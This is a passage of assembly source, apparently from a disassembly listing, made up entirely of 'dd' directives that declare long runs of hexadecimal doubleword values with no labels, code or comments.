0AA045B02h, 16FBF166h, 0F9FD0802h dd 0FB3BFA2Ch, 5D775C61h, 1F3F3D0Ah, 0E0621238h, 0DAB8293Dh dd 142BC620h, 8055DEF7h, 63FE2E01h, 3AEE295Dh, 0A0229136h dd 907798Bh, 0DBE969C7h, 805DCB12h, 1FC9ED4Ch, 761D7E4Fh dd 2FECBB97h, 2EE45869h, 35B40E04h, 549265C2h, 0CF6804B4h dd 2EC7A34Bh, 0D1A51D49h, 51E0ADA4h, 0EC00F81h, 70D4091h dd 60984815h, 0E5C04812h, 23CADC2Bh, 0A7D7E5A8h, 89618081h dd 0D1BE8AC2h, 2D16D589h, 453FA4AAh, 980FFF9Ch, 4F843C47h dd 0AD194D09h, 0A4890055h, 401F5EACh, 454CF501h, 64F7FBCAh dd 20962F1Ch, 2C3E6CF2h, 17A71A2Bh, 0FBACF465h, 0DA138597h dd 0EB2CE6C2h, 0A6A2B7EEh, 0E089D008h, 21588159h, 5490E0AEh dd 4BAD8B99h, 0C31A12A8h, 63259D4Ch, 0D38913AAh, 0A4E2AF25h dd 81895284h, 97426C14h, 6E09096Fh, 0A01442D1h, 0F680651h dd 6078B462h, 4D771C4Bh, 54F58100h, 294FB49Fh, 215D32E9h dd 0A37E5942h, 614ABA00h, 5810CCAh, 3D2390E2h, 2822C710h dd 6FBA5200h, 0CA018814h, 20BDFCCh, 62375461h, 0E9784FE2h dd 3C8FB800h, 0E8C10E68h, 35480703h, 52541E39h, 3351C529h dd 0DFCD5992h, 5CD7286Bh, 4DC21195h, 3439AE59h, 5D055689h dd 0F82A865h, 446697BBh, 0B4C34B09h, 0C0F4C92h, 0BD220530h dd 502753E7h, 6EEE7062h, 0DD205DDh, 311DE39Ah, 603E6233h dd 0AD327F0Ch, 5119845h, 57681987h, 0B1A7E44Bh, 7E2E6598h dd 1E027D43h, 0C2AB68C7h, 64AB764Fh, 0EEDA8029h, 0A30951D7h dd 5C88E93Eh, 5AD58541h, 246BB221h, 0B38E9FE5h, 5B10FC85h dd 0A104E640h, 0E5D820D5h, 0CF2AEE3Eh, 571ED0Ch, 6FE95556h dd 9D58D9F0h, 0B62B1330h, 6E0D80h, 50A350Eh, 2DF1CDDh dd 3CE94817h, 7D3A3EA1h, 6AC76D73h, 6D03066Eh, 0EA453E5Fh dd 0E96348D5h, 0A66A4EF5h, 34BF7C7Ah, 0A0C8E0A4h, 862080F6h dd 0ABB48A90h, 5844C181h, 843BF851h, 85F3B4D4h, 0FA310D5Fh dd 0BF143E91h, 0DB203244h, 650B5220h, 0BD553700h, 0CB47644Ah dd 255DF829h, 0DD66D689h, 0D5D18AB5h, 0BA57A62h, 0B634D3DBh dd 0B37D108h, 19DB04ACh, 2780442Dh, 81A2280Ah, 0FB48B117h dd 89B155D8h, 7ADE1E09h, 2403F8E7h, 2297A41h, 5BDB4A52h dd 0EFC052CBh, 2A49DD2Ch, 85680B3Eh, 0F13A81B2h, 29C8CF2Bh dd 0A2EFFCDFh, 4367F108h, 3CDAFA29h, 0A35E7684h, 0D3661AF4h dd 0FF97401Ch, 307BA0A4h, 3F482F36h, 98736627h, 3C2EA8Eh dd 7F5D22ECh, 0AEC5254Bh, 0D25FDBEBh, 298738Ch, 0E972B02Bh dd 1F51D7A6h, 245E32Ch, 6FD1AFF0h, 3DDA30E2h, 0AD203862h dd 6426A70Dh, 3D331C4Ch, 7588BB95h, 0D0A30909h, 8B1FF057h dd 2B7E1EE2h, 810E003Fh, 0D56940EBh, 0E9433B09h, 500C409Ah dd 672060B8h, 0A93E1C2Dh, 14B4117Bh, 0D24029CBh, 49602F9Dh dd 53D915BBh, 66AC0136h, 0B406B7D8h, 0AA74497Dh, 9D778AADh dd 0E0187901h, 36B8103h, 393D94A8h, 7E5401D9h, 0C14F734h dd 56EB84AFh, 0FE5ABA03h, 0DACFC1BCh, 159905FCh, 0D2DA21h dd 0D72E7005h, 895D592Dh, 27F0C6CFh, 0D30933E9h, 0DC4FAAF1h dd 0D5A15B34h, 316A0775h, 795F5407h, 0B5EC99Eh, 6178594Bh dd 767F8F68h, 0BC0612A9h, 53DE4CACh, 0BA10C371h, 7C7B15E8h dd 0DE16D9B0h, 2C843436h, 0A29553EAh, 16D896D4h, 1024159h dd 363979C1h, 0E2277F4Bh, 4082BA46h, 262C42A9h, 24377E43h dd 0B0820A3h, 0FC87E950h, 9F22A992h, 0CBDAB75Ch, 0AD37D009h dd 5CCAE4Dh, 0A800BBE6h, 7595549h, 0FEEB5001h, 58772743h dd 0FA241BF0h, 29174321h, 0E95D3001h, 0DFA2B43Bh, 646820F9h dd 849C584Dh, 0D481C138h, 5B02A32Bh, 0A3CE9DEAh, 5EE764FFh dd 0C1E0014Ah, 3A76128Bh, 565C9102h, 0E6954254h, 3FA049CAh dd 735585Ah, 79451309h, 0FA2B895Dh, 0E1838102h, 8353757Bh dd 0A01514Eh, 0DC880DB3h, 60D2525Bh, 80288D18h, 240AB468h dd 0D55D5F3Dh, 3A11F205h, 0A55ECF04h, 621E68E4h, 66D85542h dd 0BF4A62DAh, 41592782h, 0AEE5F1EFh, 0C8FE1380h, 30EAB652h dd 61316B7h, 0D2E98934h, 0CE04B5AEh, 20C97876h, 20D10C0h dd 21D14E16h, 6426E92Ah, 6869463Eh, 1D9D0C45h, 0D6B34C38h dd 5F50BD92h, 0DA08EBC9h, 100B658h, 42456B2Dh, 334AD457h dd 0B23FF22Ch, 40DD6858h, 575AE914h, 88344216h, 918813C8h dd 68F907C6h, 50DB29A8h, 5B3C9230h, 512E5C8Dh, 696D414Ah dd 4066043Fh, 0D7224C08h, 7CE96517h, 296A98E1h, 10EA2DFAh dd 25BF427h, 11589DC3h, 0EE20BF52h, 0E18900A1h, 21685753h dd 347E1913h, 0C80D8A2Fh, 2F552BE6h, 0B563052Dh, 2ADA07F1h dd 5A6E7331h, 0E8E5352Bh, 2F885F76h, 0F4109D68h, 1295F142h dd 8BE66043h, 0F0DC3FDFh, 48CCE112h, 0EA150C9Ch, 4CBE58AAh dd 1B301214h, 8413FFDh, 5B21C83h, 4E147F47h, 5FA54957h dd 0BA63C9C1h, 0E823757h, 408791A8h, 81576DE1h, 0F028C1E0h dd 0BA96E92Ch, 0EB1EE57Fh, 6B40C592h, 298039B0h, 0CF5E4CF3h dd 99B4D920h, 96523C2h, 83732370h, 1BCCCC9Dh, 38D2B8E9h dd 0B2986815h, 5CF366A5h, 5CFB011h, 3C3B9468h, 250B9C17h dd 0C45CE640h, 0D8D49C96h, 79246868h, 3E6A2C27h, 0BFC878A7h dd 1442DD94h, 2E80E64Eh, 0F26594BEh, 0F45EC4C2h, 272FA818h dd 4D85C7B3h, 9F6DA442h, 10CC06C8h, 4A63ED1h, 0F32803C6h dd 552057C9h, 0BEE5C3F2h, 3BFA3FF0h, 0C0E2E98Fh, 0C460C4D7h dd 56EC7CC1h, 23F5012Eh, 0C7771A02h, 12474019h, 5CA5250Fh dd 0E4C9A0E8h, 2913F90Fh, 0C194E9CDh, 0FC70421Ch, 9A8082BBh dd 5D7B25EEh, 3E3C11Ch, 6005EBC9h, 176AC303h, 0B9FA8B3h dd 130E5BBFh, 8751076Bh, 4CE0689Eh, 5730F201h, 6E748294h dd 12D86040h, 0F821C83Eh, 57F1125Ah, 89C19502h, 0A71765CFh dd 0DA967EC2h, 0C649E977h, 5161799h, 5618BBF3h, 8DF5CDBAh dd 75120616h, 0B63160B0h, 1101048Fh, 0D561CC59h, 1CC52565h dd 1269A3E7h, 0A715D259h, 945848C9h, 9F9F20C5h, 4A823D0Fh dd 92D27075h, 3A9C30E7h, 50B20951h, 15792537h, 5251AE1Eh dd 7180AAD7h, 2D47D2BBh dd 69603F7Bh, 0AAA4C701h, 3C151A20h, 8797EB83h, 4A99B21Ch dd 804E4BF0h, 70EEC688h, 961BCE48h, 0E80CF725h, 73D5D34Fh dd 29EB5C5Ah, 0EE6401B2h, 4F9C5D4Fh, 7A639C02h, 0BB0FA8E8h dd 56159899h, 95D2D8Bh, 9656D62Fh, 5119808Bh, 4413F468h dd 94054E93h, 0FC9218B5h, 0A937521h, 1F7028E2h, 51F72295h dd 0BE80AFCh, 0A5C9B8D5h, 30EFF8C8h, 6B879897h, 80E8B9E2h dd 56B6F681h, 21130D89h, 0F4445EF0h, 8490D0E9h, 0C1DB4B8h dd 0C6096CF7h, 0E8654B62h, 0FCCAE77Fh, 4781377Fh, 0F5FB62B5h dd 881E7165h, 9E0B5DA6h, 57732022h, 3E565CBFh, 94707DC1h dd 184A19CBh, 6158928Eh, 8492302h, 0FF294918h, 0F2603A8h dd 6ED3194Ah, 76F3E780h, 0F71F7B2Ch, 4FA47D7h, 0CBA2C61Ch dd 40E850C2h, 5C015471h, 841BDFAh, 0C27C2C2Bh, 88F49090h dd 0C229E92Fh, 0F965D28h, 0A1489495h, 0A5AA433Eh, 5C50BFBFh dd 0DBF65064h, 0E6C4A8E8h, 6570FBE1h, 0B5217BEh, 0F12922ADh dd 0AEA31502h, 0D025C624h, 9AE951C5h, 0BD94DA4Fh, 0F5973085h dd 48031020h, 1C0CC121h, 41767B78h, 0FD36FED9h, 30456554h dd 1C4EB4DCh, 0A180BE27h, 32602B4Dh, 63624858h, 43BEE3D0h dd 0EF413365h, 0C5F8D9BEh, 2BA52E4h, 26934146h, 0C5E5D629h dd 0C6FE018Dh, 0CA5F1303h, 71655F0h, 719F4D20h, 5A7EEE48h dd 42CFCDC9h, 3ED00895h, 0D1E95416h, 77FC6350h, 72114527h dd 0B6B50058h, 0EA3008B2h, 984CB359h, 2821640Dh, 35C26984h dd 9309D5A7h, 7B0D350h, 0E55620E1h, 395B5826h, 3BAC0D44h dd 2DD82127h, 5A1FBCh, 0CB36CC82h, 244A4809h, 310BB209h dd 46058E5Ch, 1DC4AB7Eh, 2CE952EBh, 7127B7ACh, 37706188h dd 0BD9F003Eh, 1D8E272Eh, 95ED8117h, 8C5F60E8h, 484FE960h dd 79B3F113h, 5D2D0B4Bh, 504ED534h, 1089D033h, 24296FFEh dd 9D00C155h, 0BD66B542h, 4B831FA5h, 0DCFDD4CFh, 349844Fh dd 2D274ABEh, 8588F1CAh, 97571F08h, 5B6C82EEh, 0C456117Fh dd 0BCE30109h, 0C1E23C18h, 54633F49h, 9FEB4E30h, 0C1805529h dd 27F5D51h, 1F35B090h, 80BB1915h, 89406920h, 108FF94Ch dd 325FE0CBh, 265C7CD9h, 0F9A78F1Eh, 2DCECC89h, 860B7292h dd 0F0035A42h, 5F078168h, 464BED8h, 0C82918D7h, 8DC02705h dd 982C1922h, 0A41725DBh, 3EEBD96Ch, 1802FDCh, 0EDC078CDh dd 383CE907h, 1A553B81h, 77DB22C5h, 0D9DF8193h, 50592760h dd 1D13EF7h, 105AA97h, 700EDF2Dh, 0AF816A2Eh, 0DFBE13C4h dd 68B0425Fh, 0E3D37CBEh, 0F428062Bh, 29C43325h, 0ECC482E9h dd 9C6800EAh, 5D90D609h, 0FE82EE76h, 2FBC261Ah, 6B14EF99h dd 5C33E52Eh, 0BDA05127h, 0EC246C05h, 770F4754h, 943AB07h dd 90DA9891h, 28F7547h, 5B7824B8h, 58C0295Ah, 21DE8C1h dd 0F5947725h, 0A2EC03C6h, 5829B71Eh, 0E90C1CA0h, 0DFD9FEBCh dd 0DB94D7EEh, 1680B901h, 0A67847B3h, 0A08E357Dh, 0A2BFE81Ah dd 39C8AA55h, 0A531B002h, 8F39C00Ah, 3BDE2C65h, 0FDD1E45h dd 16F7C512h, 2BF201D0h, 204B143Ah, 65133C8Ch, 61A458BEh dd 1142023Fh, 0CD27E934h, 15A6C251h, 24D12508h, 0DEC82F69h dd 718ABEDBh, 566612A8h, 26300408h, 0EAC1049Bh, 8DFE38D0h dd 81B75FE3h, 359D23Bh, 0AE74EF29h, 0B6388CFCh, 83B05080h dd 2C07E0C0h, 602594DDh, 39DA8643h, 0E235D430h, 0D83B908h dd 0A8E70861h, 0C1DF023Bh, 557202EEh, 249AFB20h, 1289FE2Ch dd 5305E363h, 2B365F40h, 2F7501B0h, 0F8E97F86h, 0E1567A26h dd 0BD0D1804h, 0E3CD44AAh, 0C5E7BC25h, 0A066F837h, 68E28887h dd 740744BAh, 0D856AAA9h, 77C912B2h, 0EF3398C7h, 8879138Bh dd 37E40148h, 0F0513678h, 6713AACAh, 0EA0F6EE6h, 696D80F2h dd 0AA1EE949h, 0BAB355CAh, 591002B2h, 0C4A19CEEh, 0A94D2219h dd 929FE94h, 2551490Eh, 1254A2A7h, 0FD940C1Eh, 11A01998h dd 0B580B605h, 0CFD8FB88h, 4EE37C0h, 8B23564Ah, 0FD84E7EDh dd 0E909D3F2h, 42295E06h, 985D0A99h, 0BF376452h, 3A7B509Bh dd 7D05B64Fh, 4F81D901h, 0FD83F053h, 1F54B2F5h, 59FAB28Fh dd 0D079BFC6h, 0F5B6A4FAh, 1A7FB44Eh, 5D4099CEh, 2B919314h dd 6F0B1028h, 0C873B472h, 0B545EFB9h, 0BE20D966h, 0B9660E03h dd 0F9272DCh, 0FE1802E7h, 41FA600Dh, 70817C8h, 0B26371F1h dd 0FAFCCB01h, 1F1C8843h, 0E4E83149h, 3DA03C35h, 0B9FBB6Eh dd 0DE932250h, 4D800930h, 147BF0C5h, 70122D71h, 4FE00737h dd 20E1D3E5h, 0F780CBECh, 0B450F90Eh, 0F4CCC09Dh, 3204E4C0h dd 50AC4FEh, 8A8C5ED4h, 14F56154h, 0FCE60EA4h, 0A3BACA2Eh dd 0AE422CCCh, 5EF1C2C5h, 4BB5FE96h, 0D9C31A6Ch, 0F012F13Eh dd 0F00BD362h, 0AC27AE04h, 0C685C02Ah, 27E944F4h, 8998D72Ah dd 0C7AC37B3h, 5A98E42Ch, 5C0BDF9Ah, 1051AC1Eh, 0F9881C9Eh dd 6909CA93h, 3C76F93Ah, 0F4B3B016h, 2022F4Ch, 0D03FBD38h dd 0FAD342FDh, 1EA5BD96h, 4DFEC157h, 71882F11h, 5966099Dh dd 322E14D2h, 0FCA875Ah, 0F6F69C0h, 0E5209526h, 0E90F1212h dd 0EBFAEFA0h, 80504029h, 42DF9C15h, 96D75455h, 0F6E91997h dd 2259100Bh, 413D5558h, 32F15C1h, 5817CD89h, 0ED2A7161h dd 7256BD00h, 81344000h, 0D708A1E5h, 0F50CC002h, 0F7220E5Eh dd 2DF7DD58h, 3F0C4754h, 0AFFD8626h, 5C52AE49h, 44CB515Bh dd 219159A9h, 0C5880FFDh, 615C86E7h, 46D3F601h, 0A1BDBB06h dd 0EA88525Bh, 0C930D0C9h, 58106928h, 0DC8B7589h, 379DCF00h dd 0E012BEB9h, 3209F6D5h, 52EA76B4h, 81B6C48Ah, 2771812Dh dd 0A9750Fh, 2A93E907h, 9D485C9Ch, 6805A1CAh, 66CC7EC3h dd 0A6F6A050h, 7F578197h, 66837A75h, 4841E686h, 0FA07ABDDh dd 0B2C2A2D7h, 0B5FEF89h, 3F21D42Dh, 3462F8Bh, 202F80F9h dd 63341C6h, 0BE1B9464h, 210C6C29h, 0B63E281Fh, 0C0590064h dd 0F38002E3h, 6B5D947Ch, 5E6809F8h, 6065DC0Fh, 3EC96965h dd 0E9554B24h, 94576B02h, 0AE7433h, 6126E681h, 464C10B2h dd 0A2F879DDh, 9724A97Fh, 1C281889h, 0A1432F09h, 7BD5416h dd 0C0426939h, 8A37F4CDh, 10B5348h, 0A5FC4C31h, 0E081EB01h dd 5039C7CBh, 0E30C8210h, 7778CA77h, 0B8603C8Fh, 6FFFF782h dd 4CAB315Ch, 6EBC0171h, 0DA01673Ah, 802DE61h, 8804565Bh dd 0F027A321h, 7006CB89h, 92ACBD04h, 5368F3C9h, 13F2F14h dd 42B1251Bh, 76BA5F93h, 52C9C076h, 94E91361h, 683F3005h dd 18BF6D9Ch, 4D45E988h, 2C8B58AEh, 71F2914Bh, 19BE16A0h dd 617C403Fh, 0A5C0914Eh, 9046905h, 0C121C34Bh, 70C9D876h dd 0A4132594h, 73712268h, 319F8C19h, 6168241Eh, 0EFEB2125h dd 2BC4D7D1h, 5C2DFE40h, 904BF470h, 64181D9Eh, 0F2CABD8Fh dd 0DF3110C3h, 15A3957Fh, 68E3DE89h, 0F4AB47CDh, 58E10166h dd 0FEF630C0h, 0F105C17Bh, 4FB2528Ch, 66151A8h, 6C8EE905h dd 5C2C0442h, 9BD75A68h, 55AD3FC3h, 62406697h, 60F006F7h dd 0E908157Eh, 0C8B5C522h, 3D2999E5h, 0B7A63EC1h, 580B073h dd 4D3D9F6h, 1282A612h, 8729F52Dh, 0CF443DD4h, 0A14A460Ch dd 96E261Fh, 76294209h, 0A6C67AAAh, 18E2A049h, 0F2D4E7C1h dd 3BBAB52Eh, 0B3304BD2h, 61F5B3FCh, 2B0E0638h, 7A5DEA31h dd 0D369B905h, 80C1292Dh, 66033808h, 579AD8C3h, 0D1D0C089h dd 0CB05AD03h, 0A8093A74h, 55D570A4h, 700E251h, 5A7E6857h dd 0F1E9CC7Bh, 0F26CA4B7h dd 1C73FC6h, 914487B9h, 0F1CE2146h, 8568DE6Eh, 3A258EE6h dd 8B60C20Bh, 0C0835CEFh, 7B315FEEh, 84E2426h, 0BA520800h dd 0A0519FAFh, 655AD6DFh, 0F13A6C29h, 0C7D06B2Dh, 2E9D2504h dd 9D01D05h, 93793F34h, 63EE6804h, 0B4053BA2h, 0B0F4E946h dd 0DDEB289Eh, 0C1E75492h, 40958Eh, 0E481EBD1h, 375501F3h dd 5BDD8916h, 13393D31h, 1E84AFE9h, 451BC48Ah, 78B019A3h dd 64F9C13h, 82B05035h, 26B40BC9h, 0D889259Bh, 5A082183h dd 2F801804h, 0A10A7F0Dh, 8372C80h, 680ACA1Ch, 16BDB528h dd 4AE24E6Dh, 0EE50F589h, 73FF3CE1h, 0F6339B73h, 16010C74h dd 0C230E406h, 8D7C5854h, 0AF865B2Dh, 0C408D551h, 16E4281Dh dd 4903A08h, 3E747B5h, 8206ED80h, 0ED8B43E8h, 3E809995h dd 60532C29h, 30460C37h, 4A802E2Bh, 2D610B0Fh, 0D72907E9h dd 0D707A17Ch, 87635A11h, 134ACBD3h, 4953E90Bh, 74F2F69Ah dd 4A942220h, 506E4C5Ch, 714F68BFh, 39BFECC5h, 0E852BBCh dd 0B2A5DDFCh, 0E36810F6h, 0D6D8F61Dh, 0BF68C05Ch, 32F0BF9h dd 834E8223h, 0EBF180C3h, 3A21D0DAh, 82CB2956h, 0A40E48C3h dd 0CDCD93CFh, 7A1D0740h, 0E62C4A8Ch, 4DF2F58h, 63A45F59h dd 919FFEh, 9DCC2A93h, 28F696FAh, 0F7182740h, 0C9A1FA0h dd 314B4AA1h, 2FEF4EC0h, 0FC2285Ah, 0A98717B9h, 323B04A7h dd 0B9680318h, 35A9244Dh, 3BBF8023h, 0F75D9A48h, 0C147DF05h dd 0EFC607EFh, 0F2EEC004h, 4FF851A3h, 8D9ABFF6h, 8B215F5Fh dd 0FE0195CAh, 323360C4h, 0D6494F91h, 6F4E00A3h, 82E923F9h dd 805D09BDh, 4419EAE0h, 52140BB3h, 59DC5A59h, 22FA5F0Dh dd 1147D22Ah, 5A4AC6F8h, 308A1416h, 1E46BB2Fh, 80690804h dd 52F80114h, 993F0841h, 3CF3F22Eh, 0FE796836h, 0F2F0E0D6h dd 909E5B5Bh, 176850B3h, 1AF3013h, 0DD86600h, 48841D6Ch dd 0B920AA10h, 3E375E76h, 0CEC08D3Fh, 75B40ACCh, 0D1595E01h dd 629C3D77h, 0C3C504B2h, 0EEF1A2F8h, 8036C0CEh, 225582EFh dd 0F448B46Eh, 0D26DB8Dh, 0C305575Ch, 0E024B9E9h, 9BBD401h dd 253F494Ch, 0CA28ABE4h, 0A833D32Fh, 0EEF2B70Ah, 0D6740B27h dd 1E0F9E20h, 0CB75C578h, 59CFE241h, 26ED2828h, 0EEE2A3Bh dd 17B8B5E9h, 421F0EC5h, 867B3EF8h, 0E5E049EDh, 0D1C24E50h dd 31EA01B9h, 0D101FEF7h, 0C0CAC1E5h, 0BD1FA9D7h, 962D3922h dd 0B2893AF9h, 0C4FA71F1h, 9CFFEC5Ch, 88AB9218h, 238B0F16h dd 7F84E3D1h, 72B7B741h, 853ED34Ch, 0B8D891E4h, 0DD3C4E57h dd 7F0F4195h, 2C443327h, 842F0655h, 508DBA83h, 13FE2734h dd 0B5783801h, 0F243318Dh, 2C2A19FDh, 3C95CB6Eh, 6E622C68h dd 460766Bh, 138A2B74h, 10870984h, 16503DD1h, 16751A20h dd 0E15C3C48h, 1B90386Bh, 0B5934F60h, 585B44FFh, 7ED2F551h dd 1221FAC9h, 9082402Bh, 0BB2D0749h, 54697B00h, 5EF33166h dd 2E325C1h, 8CBC7E0h, 4F6BA0FEh, 0DE6A0216h, 0EF8FF6E5h dd 0D5D62164h, 303DE8BCh, 0B3530A07h, 0AE30E165h, 5AD10388h dd 1E046E2Ch, 0C828C7A0h, 7241D2EDh, 0C5722AE4h, 5A5F8452h dd 68E75C4Bh, 0D8314322h, 0BB2173Ah, 0ADAF70E1h, 55FDE8C8h dd 0D16CC0B5h, 18CE2C35h, 6EA702D3h, 857F1EA5h, 0C3A068DAh dd 3DCC7288h, 272658E3h, 0B0508109h, 7F5B24B2h, 0AD118ECDh dd 80044616h, 0F37E7504h, 8071515Ch, 329A2D06h, 31070B67h dd 4F858C2h, 56DEF716h, 372001F1h, 3E1BE84h, 28B6664h dd 6934E1C9h, 0A7FD04FEh, 16F13AA8h, 7D3EDD40h, 0B7564028h dd 0B9D75981h, 9478A4ECh, 70FEBA80h, 835C09EFh, 0DAF7027Ah dd 5109FE9h, 76B2F359h, 16E90FAh, 51D8811Bh, 583FBF57h dd 8DE97C8Ch, 566FBC60h, 116BD55h, 0BE7BD840h, 70879FFDh dd 0B15D8527h, 322A1379h, 77C139B8h, 2011A86Ah, 859FF2FFh dd 61AC4B4Ah, 54F13A04h, 0FE00BB09h, 50F22023h, 139B7105h dd 0B8017FECh, 98F600BEh, 0E9348049h, 0A820499Ch, 8D09C112h dd 0C0F06CCDh, 37B82B29h, 7FF54801h, 916E0841h, 2BC86157h dd 1DAEA324h, 17CB0F3Bh, 8B5787C5h, 1B597C86h, 2F473B67h dd 0B04BE0CCh, 0C8300005h, 0C0DD0459h, 0C0203E0h, 28472CA7h dd 37965FC3h, 68EB8005h, 27AE56E9h, 0AE497929h, 36C9DC41h dd 1E905814h, 24FC06B8h, 0ED80418h, 8CA575Eh, 7112E5C0h dd 0E97C4955h, 8F979D5Ah, 611D77F1h, 0E825F7F2h, 50F14058h dd 0CC80BBB4h, 3FD6AB48h, 51771799h, 0BC0B3227h, 0B6E49DC6h dd 4697C2A6h, 99E91AAEh, 70D1D13Bh, 60D1F70Bh, 0F4270F73h dd 90EB4C2h, 75715257h, 5E95A40h, 0AA10BD4Dh, 0D9990BC9h dd 93FF734Bh, 0E339A459h, 16B89840h, 93038E4h, 0F2603E3Fh dd 0FDF0595Ah, 80805B2Ch, 0A3686603h, 16D7A67Ah, 4765E950h dd 0BCEB255h, 0B0952D43h, 0D45EBB9Ch, 547AD2BCh, 120DD93h dd 0E6C05BFEh, 28CE8008h, 282204DEh, 1A835AF0h, 0F4FCBC0Ah dd 0A49608D4h, 88A4C65Eh, 45E0BF05h, 0FA016EF0h, 1CB97746h dd 0BC3B760h, 9115C70h, 0E70177F8h, 35C728F9h, 0F828DAE9h dd 802D4001h, 0EC4EAB23h, 7782C8FEh, 92036787h, 7FA4DF8h dd 0F240E394h, 0E7844767h, 14F60B30h, 0B6799B4Fh, 5012B05h dd 830C8437h, 3378A9ADh, 0C9596D04h, 0BDAC310Fh, 3BD498Fh dd 6C4DEFD6h, 0BCA1FEDh, 9B44353Ch, 0B14B7BA4h, 0AECA8E12h dd 0DB78A45Bh, 0F123A160h, 5E411A30h, 12A0A477h, 4FA8F808h dd 28B2401h, 6A9A42BDh, 1634C560h, 2F5EFD5Ch, 76D56AA1h dd 0ADF02512h, 9B2334B7h, 0E3CB0B2Ch, 4112BEFAh, 0C901200Fh dd 5F6430C4h, 38788683h, 54064880h, 45102EE1h, 68440BAEh dd 0A5FC7BFFh, 0FE162913h, 4D4C69B3h, 5F55F582h, 0C59F18ECh dd 0D4E5AD96h, 10BEC25h, 355BDFC7h, 7C94E91Bh, 0EE800EB2h dd 0AEDE0E8Dh, 85BACC6h, 0DDCEE074h, 9C06721Ch, 0EBE8D082h dd 8187225Fh, 55987717h, 0C006B9C1h, 0CE89D4DAh, 0DBE5202Eh dd 9AB5E6F0h, 655F56D9h, 9E5FADC6h, 0D5980212h, 0AF85BDE4h dd 6541FA58h, 67613EE7h, 2D681D48h, 0C0E62138h, 87813A7Ch dd 11FCF4B7h, 618C21A6h, 7BD15761h, 600C35E9h, 0EFC2042h dd 5B54D9C4h, 3B9E3DEAh, 60735E2Ch, 2AEE2926h, 6E4F1D11h dd 5BD0A6C3h, 5283056Ch, 0E456B80Eh, 0E90D04ECh, 2AB9EA96h dd 402250E4h, 30BD5BC0h, 82B5588Ah, 0C076005Fh, 1F5106EBh dd 0D7801FB1h, 9490F402h, 98B437EEh, 0C792F12Fh, 0D95EAB0Ch dd 9776E950h, 0EFD13C02h, 1CC931E0h, 2EAE1648h, 0DF242ADFh dd 21D85B92h, 0E4AFAB07h, 158A01BFh, 3014345Ah, 5D108119h dd 363D7824h, 0F37EC05Fh, 9094090h, 4DBF728h, 0FE18F2F9h dd 0FF9617F0h, 2E5E0264h, 0ECE809C7h, 0B840EA5Eh, 219568Dh dd 0FC01C76Dh, 0E5C28190h, 2E773A41h, 0D925367h, 61CDAA8Eh dd 0E1810630h, 72C1263h, 0E80B4144h, 6B31C401h, 48E48290h dd 0C11E010Ah, 0D7F707E7h, 4018804Fh, 897E991Ah, 0BF53B0F8h dd 0CD9CD9Ch, 0C3993478h, 6E3C64EBh, 0C7D7FD77h, 90DD60D6h dd 310A12C9h, 48C1ECC8h, 65DF06FDh, 4C883986h, 301FF102h dd 13A5269h, 6F7C7A75h, 0AEBF302Fh, 51807D12h, 2D5FFCACh dd 1A0F42ABh, 83C80102h, 0B60943D3h, 0CAEB07DAh, 0E94D76EEh dd 0E94270D6h, 4C30F779h, 0AB0C67DDh, 0BE16861h, 4F89BD5Ah dd 1825BF54h, 691FE936h, 6C65DA8Ch, 71F04825h, 3DC8B5BEh dd 0F16C23Bh, 0F429184h dd 51115868h, 432E8219h, 17427C75h, 0B65DFBA4h, 2EC521ABh dd 0A4E96267h, 0E7A9CF4Bh, 460AAF8Ah, 0B268B32Fh, 648D570Ch dd 0B697B28h, 63EDC83Ah, 796D7C64h, 0EE285E90h, 74619566h dd 0B6037A84h, 0DCF930CEh, 95F5CF2h, 0FE29F7C4h, 5F13CFD6h dd 4F1D2FF1h, 0B2BD17F8h, 85E60782h, 0B318220Eh, 1701B184h dd 3815D1EFh, 3F15846h, 5E27637Ch, 2D04A350h, 4FEE22F4h dd 0E9CE3FBCh, 0B0E64752h, 0AF5609B4h, 3BD35C25h, 0C7504E1Eh dd 0BBE32888h, 1E822109h, 0F0567BE6h, 0D852B163h, 4AFEDCF1h dd 19DDB3C9h, 931036E9h, 85789331h, 896ABE0Fh, 52FD96EFh dd 809DBC40h, 0C001ED80h, 0C0561E5h, 6C7404B6h, 0D4A7F4Dh dd 0F766C070h, 9F21E7D0h, 4283BAEBh, 0A73AC2E6h, 7D655676h dd 7D5098A0h, 931D5E51h, 0AE8C598Eh, 38D5AD79h, 0FF9026Fh dd 57D0C8BEh, 3ADA5750h, 7E1AA669h, 0D176E92Ah, 42BAD26Fh dd 8FA7E960h, 8049B45Ch, 6852560Ch, 144F13A2h, 8344F273h dd 1303E2C1h, 0D33A2BB4h, 0FA9C8725h, 9689870h, 19F58A4Ah dd 0D075DEA3h, 0B5140B6Eh, 28ED35C8h, 312D5B7Fh, 57DFC25Fh dd 856AD14Ch, 890FB036h, 0B8C005FBh, 12781FEDh, 0E8AEF8CBh dd 125739B2h, 0E444C7E9h, 9C92295Fh, 601CFF5Eh, 3658C505h dd 6D825E03h, 3C907935h, 0BA33EB12h, 5707D062h, 870FB6BAh dd 19759E69h, 0F0551F30h, 0D94B54AAh, 25745025h, 0E3A28E12h dd 2ECA864h, 0AF5C7968h, 37FD042Dh, 0BA3730EAh, 4616D044h dd 5BC1575Fh, 0BA4D3F7h, 1EF08B0h, 29CF02BBh, 60634F18h dd 25E3A83Bh, 92F0F859h, 5E165058h, 6CE99705h, 0A3FCAC53h dd 3A7FE215h, 0B7A54D7Fh, 5F895D25h, 89FACC09h, 57BA5207h dd 9A1E7318h, 5E72584Ah, 387A4450h, 10A1B94Bh, 6603DFDDh dd 1985C981h, 0AC10A0Fh, 79C3EE14h, 9020C679h, 0D097D075h dd 0F6C81604h, 684DF04Bh, 0C21A7126h, 86C8AC0h, 0D1F7175Dh dd 3D00B841h, 7025DE4Ah, 2733E23h, 685D58CFh, 0A8FC6CF6h dd 2912262h, 0B2F7FA01h, 306AE882h, 8F195C3h, 8809E986h dd 2DF35C35h, 8B1BF106h, 0DC380C10h, 5E719244h, 9F3C74A0h dd 8BE9B882h, 4256D58h, 964BE501h, 0BEEEC2DAh, 446A2FD5h dd 0EFE44408h, 1802B602h, 0B3820E52h, 52169A97h, 0ED4F2FD8h dd 0B9806EEEh, 0DF2C4008h, 283CCC10h, 1DDF08E9h, 0EE06910Ah dd 0CEC28F34h, 37FA78CAh, 0F1790D59h, 612035A6h, 148ACA7Dh dd 4C5925A5h, 1682D366h, 0AD9DE99Ch, 4FC700AAh, 291E3755h dd 825F90D7h, 0AF258508h, 5971898Dh, 4EC3E61h, 3E626110h dd 204B5FA8h, 0AE06E749h, 4F5BA63Bh, 0DFFF021Ah, 86E9E4FDh dd 0FE01F9F4h, 34B050C2h, 416895E9h, 